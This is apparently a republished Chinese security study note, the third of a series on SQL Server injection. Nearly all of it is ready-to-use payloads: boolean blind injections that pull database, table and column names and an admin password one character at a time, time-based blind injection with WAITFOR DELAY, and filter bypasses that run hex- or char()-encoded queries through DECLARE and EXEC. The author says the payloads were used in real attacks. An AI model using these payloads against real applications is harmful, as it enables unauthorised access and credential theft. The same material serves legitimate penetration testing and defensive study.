【学习笔记】Sqlserver/Mssql注入总结(三)

  • A+
所属分类:安全文章

这是Sqlserver/Mssql注入总结的第三篇,将围绕布尔盲注入和一些特殊字符过滤的绕过进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。




布尔盲注(参考union联合查询注入,逐步盲注即可)


都可以和union一样加入and条件排除查询下一个内容


查询数据库名:

id=2' and ascii(substring((select DB_NAME(5)),1,1)) > 109--//查询第五个数据库第一个字符的ascii码是否大于109



查询表名:

id=2 and ascii(substring((select top 1 name from mozhe_db_v2..sysobjects where xtype='u'),1,1)) >100//查询第一个表名的第一个字符的ascii码是否大于100


或者使用information_schema:

id=2 and ascii(substring((SELECT TOP 1 table_name FROM information_schema.tables),1,1)) >0



查询列名:

id=2 and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where name ='manage')),1,1)) >100//查询第manage表的第一个列名第一个字符的ascii码是否大于100


或者使用下面这个:

id=2 and ascii(substring((SELECT TOP 1 col_name(object_id('manage'),1) from sysobjects),1,1)) >100


或者使用information_schema:

id=2 and ascii(substring((SELECT top 1 column_name from information_schema.columns where table_name='manage'),1,1)) >0



查数据:

id=2 and ascii(substring((select top 1 username from manage),1,1)) >0


指定条件查数据:

id=2 and ascii(substring((select top 1 password from manage where username='admin_mz'),1,1)) >0





时间盲注(参考布尔盲注)


只需要参照布尔盲注的payload,给其套上一个if()函数,并且后面加上WAITFOR DELAY '0:0:5'--  延迟5秒执行语句即可



例如判断数据库名:

id=2; if(ascii(substring((select db_name()),1,1)) >1) WAITFOR DELAY '0:0:5'--  //如果判断正确,延迟五秒执行sql语句





简单绕过一些单引号、路径符号等等被过滤:


利用declare定义变量:

id = 1 ; declare @a nvarchar ( 2000 ) set @a = 'select convert(int,@@version)' exec ( @a ) --


配合hex编码:

id = 1 ; declare @s varchar ( 2000 ) set @s = 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec ( @s )--    //0x命令hex编码后的



配合ascii编码:

id = 1 ; declare @s varchar ( 2000 ) set @s = char ( 115 ) + char ( 101 ) + char ( 108 ) + char ( 101 ) + char ( 99 ) + char ( 116 ) + char ( 32 ) + char ( 99 ) + char ( 111 ) + char ( 110 ) + char ( 118 ) + char ( 101 ) + char ( 114 ) + char ( 116 ) + char ( 40 ) + char ( 105 ) + char ( 110 ) + char ( 116 ) + char ( 44 ) + char ( 64 ) + char ( 64 ) + char ( 118 ) + char ( 101 ) + char ( 114 ) + char ( 115 ) + char ( 105 ) + char ( 111 ) + char ( 110 ) + char ( 41 ) exec ( @s )--    //ascii编码的字符,利用+号拼接

以上方法都经过本人实战使用过的,具体情况看师傅们怎么使用吧!






此系列的总结文章就到这告一段落了......感谢浏览!



点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

【学习笔记】Sqlserver/Mssql注入总结(三)

本文始发于微信公众号(哈拉少安全小队):【学习笔记】Sqlserver/Mssql注入总结(三)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: